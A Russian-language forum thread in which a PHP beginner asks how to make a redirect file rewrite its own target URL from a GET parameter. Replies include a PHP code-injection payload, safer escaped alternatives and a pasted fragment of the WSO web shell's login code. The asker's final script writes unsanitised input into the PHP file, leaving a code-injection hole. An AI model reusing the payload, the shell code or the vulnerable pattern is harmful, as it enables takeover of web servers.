Познания в PHP совсем новичковые. Столкнулся с такой необходимостью: Есть файл-прокладка redirect.php с редиректом самым простым, типа: <html> <meta http-equiv="refresh" content="0;https://yandex.ru"> </html> В какой-то момент нужно заменить его на другую ссылку самым банальным способом - get-запросом. То есть после запроса site.ru/redirect.php?link=https://google.ru содержимое этого же файла менялось на: <html> <meta http-equiv="refresh" content="0;https://google.ru"> </html> Как написать скрипт, который бы менял соседний файл - это понятно. А чтобы обновлял сам себя - застопорился. Может кто-то подсказать как делать или готовый вариант дать?
Code: <html> <meta http-equiv="refresh" content="0;https://yandex.ru"> </html><?php if( isset( $_GET ) && key_exists( 'content', $_GET ) ) { $LINE = file( __FILE__, FILE_IGNORE_NEW_LINES ); $LINE[1] = '<meta http-equiv="refresh" content="0;'.$_GET['content'].'">'; $return = file_put_contents( __FILE__, implode( PHP_EOL, $LINE ) ); ob_clean(); if( !is_int( $return ) ) die( "Can't put content to file" ); die( "File have new content" ); }
Изи, изи, этож почти веб-шелл получился )) Code: x.php?content=<?php+phpinfo();+?> Так будет посекурнее: PHP: <html><meta http-equiv="refresh" content="0;https://yandex.ru"></html><?phpif( isset( $_GET['content'] ) && strpos($_GET['content'], 'http') === 0 ) { $LINE = file( __FILE__, FILE_IGNORE_NEW_LINES ); $LINE[1] = '<meta http-equiv="refresh" content="0;'.htmlspecialchars$_GET['content']).'">'; $return = file_put_contents( __FILE__, implode( PHP_EOL, $LINE ) ); ob_clean(); if( !is_int( $return ) ) die( "Can't put content to file" ); die( "File have new content" );} Но если дело только в редиректе, можно обойтись без PHP: PHP: <html><script> var loc = ''; var url = new URL(window.location.href); var content = url.searchParams.get("content"); if(content && content.indexOf("http") == 0) loc = content; else loc= 'http://yandex.ru'; document.location = loc;</script></html> Ну или с PHP: PHP: <meta http-equiv="refresh" content="0;<?=(@strpos($_GET['content'], 'http') === 0 ? htmlspecialchars($_GET['content']) : 'https://yandex.ru')?>">
Code: <?php $auth_pass = "63a9f0ea7bb98050796b649e85481845"; if(get_magic_quotes_gpc()) { function WSOstripslashes($array) { return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array); } $_POST = WSOstripslashes($_POST); $_COOKIE = WSOstripslashes($_COOKIE); } function wsoLogin() { die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>"); } function WSOsetcookie($k, $v) { $_COOKIE[$k] = $v; setcookie($k, $v); } if(!empty($auth_pass)) { if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass); if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass)) wsoLogin(); }
Не обновлял сам себя, а просто динамически формировал нужный контент в зависимости от параметра. Для PHP это более чем обычное дело. Но чтобы данный скрипт в скором будущем не превратился в прокладку для п/сайтов, советую закладывать целевые в код/БД скрипта (целиком или хотя бы схему/хост, а все остальное наследовать, например /host1/целевая_в_пределах_этого_хоста). Я пользуюсь скриптом отсюда. Пример: u75.ru/firefox
О, спасибо всем за ответы) Уже и сам справился. Оказалось чуть проще, чем я думал, хз почему сразу не получалось. Сделал в общем так: PHP: <?if (!empty($_GET["ln"])){$fil = basename(__FILE__);$ln = $_GET["ln"];$text = '<html><meta http-equiv="refresh" content="0;link"></html>';$fh = fopen($fil, 'w');$text = str_replace("link", "$ln", $text);fwrite($fh, $text);}else {};?> Файл получается "одноразовый", но задачу выполняет.